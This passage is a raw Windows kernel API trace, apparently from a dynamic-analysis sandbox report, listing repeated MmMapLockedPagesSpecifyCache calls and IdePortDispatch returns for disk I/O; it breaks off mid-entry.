[0112.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354b000 [0112.747] IdePortDispatch () returned 0x103 [0112.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354f000 [0112.748] IdePortDispatch () returned 0x103 [0112.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003553000 [0112.748] IdePortDispatch () returned 0x103 [0112.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003559000 [0112.749] IdePortDispatch () returned 0x103 [0112.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357d000 [0112.752] IdePortDispatch () returned 0x103 [0112.754] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003582000 [0112.754] IdePortDispatch () returned 0x103 [0112.755] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003587000 [0112.755] IdePortDispatch () returned 0x103 [0112.756] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358c000 [0112.756] IdePortDispatch () returned 0x103 [0112.757] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003590000 [0112.757] IdePortDispatch () returned 0x103 [0112.757] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003595000 [0112.757] IdePortDispatch () returned 0x103 [0112.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359a000 [0112.758] IdePortDispatch () returned 0x103 [0112.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a8000 [0112.768] IdePortDispatch () returned 0x103 [0112.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ad000 [0112.769] IdePortDispatch () returned 0x103 [0112.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b2000 [0112.769] IdePortDispatch () returned 0x103 [0112.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b7000 [0112.770] IdePortDispatch () returned 0x103 [0112.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bc000 [0112.770] IdePortDispatch () returned 0x103 [0112.771] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c1000 [0112.771] IdePortDispatch () returned 0x103 [0112.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c7000 [0112.772] IdePortDispatch () returned 0x103 [0112.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cc000 [0112.772] IdePortDispatch () returned 0x103 [0112.773] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0112.773] IdePortDispatch () returned 0x103 [0112.773] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d4000 [0112.773] IdePortDispatch () returned 0x103 [0112.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d7000 [0112.774] IdePortDispatch () returned 0x103 [0112.775] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035da000 [0112.775] IdePortDispatch () returned 0x103 [0112.775] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035dd000 [0112.775] IdePortDispatch () returned 0x103 [0112.776] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0112.776] IdePortDispatch () returned 0x103 [0112.776] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e4000 [0112.776] IdePortDispatch () returned 0x103 [0112.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e7000 [0112.777] IdePortDispatch () returned 0x103 [0112.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ea000 [0112.777] IdePortDispatch () returned 0x103 [0112.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ed000 [0112.778] IdePortDispatch () returned 0x103 [0112.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a00000 [0112.778] IdePortDispatch () returned 0x103 [0112.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a03000 [0112.779] IdePortDispatch () returned 0x103 [0112.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b06000 [0112.779] IdePortDispatch () returned 0x103 [0112.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b09000 [0112.780] IdePortDispatch () returned 0x103 [0112.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0d000 [0112.780] IdePortDispatch () returned 0x103 [0112.781] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0f000 [0112.781] IdePortDispatch () returned 0x103 [0112.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b11000 [0112.782] IdePortDispatch () returned 0x103 [0112.783] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b13000 [0112.783] IdePortDispatch () returned 0x103 [0112.783] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0112.783] IdePortDispatch () returned 0x103 [0112.786] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b17000 [0112.786] IdePortDispatch () returned 0x103 [0112.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b19000 [0112.789] IdePortDispatch () returned 0x103 [0112.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3b000 [0112.792] IdePortDispatch () returned 0x103 [0112.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3d000 [0112.793] IdePortDispatch () returned 0x103 [0112.794] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3f000 [0112.794] IdePortDispatch () returned 0x103 [0112.794] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b41000 [0112.794] IdePortDispatch () returned 0x103 [0112.798] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b43000 [0112.798] IdePortDispatch () returned 0x103 [0112.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b45000 [0112.799] IdePortDispatch () returned 0x103 [0112.800] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b47000 [0112.800] IdePortDispatch () returned 0x103 [0112.800] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b49000 [0112.800] IdePortDispatch () returned 0x103 [0112.801] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4b000 [0112.801] IdePortDispatch () returned 0x103 [0112.802] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4d000 [0112.802] IdePortDispatch () returned 0x103 [0112.802] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4f000 [0112.802] IdePortDispatch () returned 0x103 [0112.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b51000 [0112.803] IdePortDispatch () returned 0x103 [0112.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b53000 [0112.803] IdePortDispatch () returned 0x103 [0112.804] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b55000 [0112.804] IdePortDispatch () returned 0x103 [0112.804] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b57000 [0112.804] IdePortDispatch () returned 0x103 [0112.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b59000 [0112.805] IdePortDispatch () returned 0x103 [0112.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5b000 [0112.805] IdePortDispatch () returned 0x103 [0112.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5d000 [0112.806] IdePortDispatch () returned 0x103 [0112.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5f000 [0112.807] IdePortDispatch () returned 0x103 [0112.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b61000 [0112.807] IdePortDispatch () returned 0x103 [0112.808] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b63000 [0112.808] IdePortDispatch () returned 0x103 [0112.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b65000 [0112.809] IdePortDispatch () returned 0x103 [0112.810] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b67000 [0112.810] IdePortDispatch () returned 0x103 [0112.810] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b69000 [0112.811] IdePortDispatch () returned 0x103 [0112.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8a000 [0112.813] IdePortDispatch () returned 0x103 [0112.814] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8d000 [0112.814] IdePortDispatch () returned 0x103 [0112.814] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b90000 [0112.814] IdePortDispatch () returned 0x103 [0112.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b92000 [0112.815] IdePortDispatch () returned 0x103 [0112.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b94000 [0112.815] IdePortDispatch () returned 0x103 [0112.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b96000 [0112.819] IdePortDispatch () returned 0x103 [0112.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b98000 [0112.869] IdePortDispatch () returned 0x103 [0112.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9b000 [0112.869] IdePortDispatch () returned 0x103 [0112.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9e000 [0112.870] IdePortDispatch () returned 0x103 [0112.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba1000 [0112.871] IdePortDispatch () returned 0x103 [0112.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0112.871] IdePortDispatch () returned 0x103 [0112.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb8000 [0112.872] IdePortDispatch () returned 0x103 [0112.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbb000 [0112.872] IdePortDispatch () returned 0x103 [0112.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbe000 [0112.873] IdePortDispatch () returned 0x103 [0112.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc0000 [0112.874] IdePortDispatch () returned 0x103 [0112.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc3000 [0112.874] IdePortDispatch () returned 0x103 [0112.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc6000 [0112.875] IdePortDispatch () returned 0x103 [0112.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0112.876] IdePortDispatch () returned 0x103 [0112.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcc000 [0112.876] IdePortDispatch () returned 0x103 [0112.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcf000 [0112.877] IdePortDispatch () returned 0x103 [0112.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd2000 [0112.877] IdePortDispatch () returned 0x103 [0112.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c21000 [0112.880] IdePortDispatch () returned 0x103 [0112.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c24000 [0112.883] IdePortDispatch () returned 0x103 [0112.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c27000 [0112.884] IdePortDispatch () returned 0x103 [0112.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2a000 [0112.884] IdePortDispatch () returned 0x103 [0112.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2d000 [0112.885] IdePortDispatch () returned 0x103 [0112.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0112.886] IdePortDispatch () returned 0x103 [0112.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c33000 [0112.886] IdePortDispatch () returned 0x103 [0112.887] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c36000 [0112.887] IdePortDispatch () returned 0x103 [0112.888] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3a000 [0112.888] IdePortDispatch () returned 0x103 [0112.891] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5a000 [0112.891] IdePortDispatch () returned 0x103 [0112.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5d000 [0112.892] IdePortDispatch () returned 0x103 [0112.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0112.892] IdePortDispatch () returned 0x103 [0112.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c63000 [0112.893] IdePortDispatch () returned 0x103 [0112.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c66000 [0112.893] IdePortDispatch () returned 0x103 [0112.894] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0112.894] IdePortDispatch () returned 0x103 [0112.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6c000 [0112.896] IdePortDispatch () returned 0x103 [0112.896] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6f000 [0112.896] IdePortDispatch () returned 0x103 [0112.896] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c72000 [0112.897] IdePortDispatch () returned 0x103 [0112.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0112.897] IdePortDispatch () returned 0x103 [0112.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c78000 [0112.898] IdePortDispatch () returned 0x103 [0112.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, 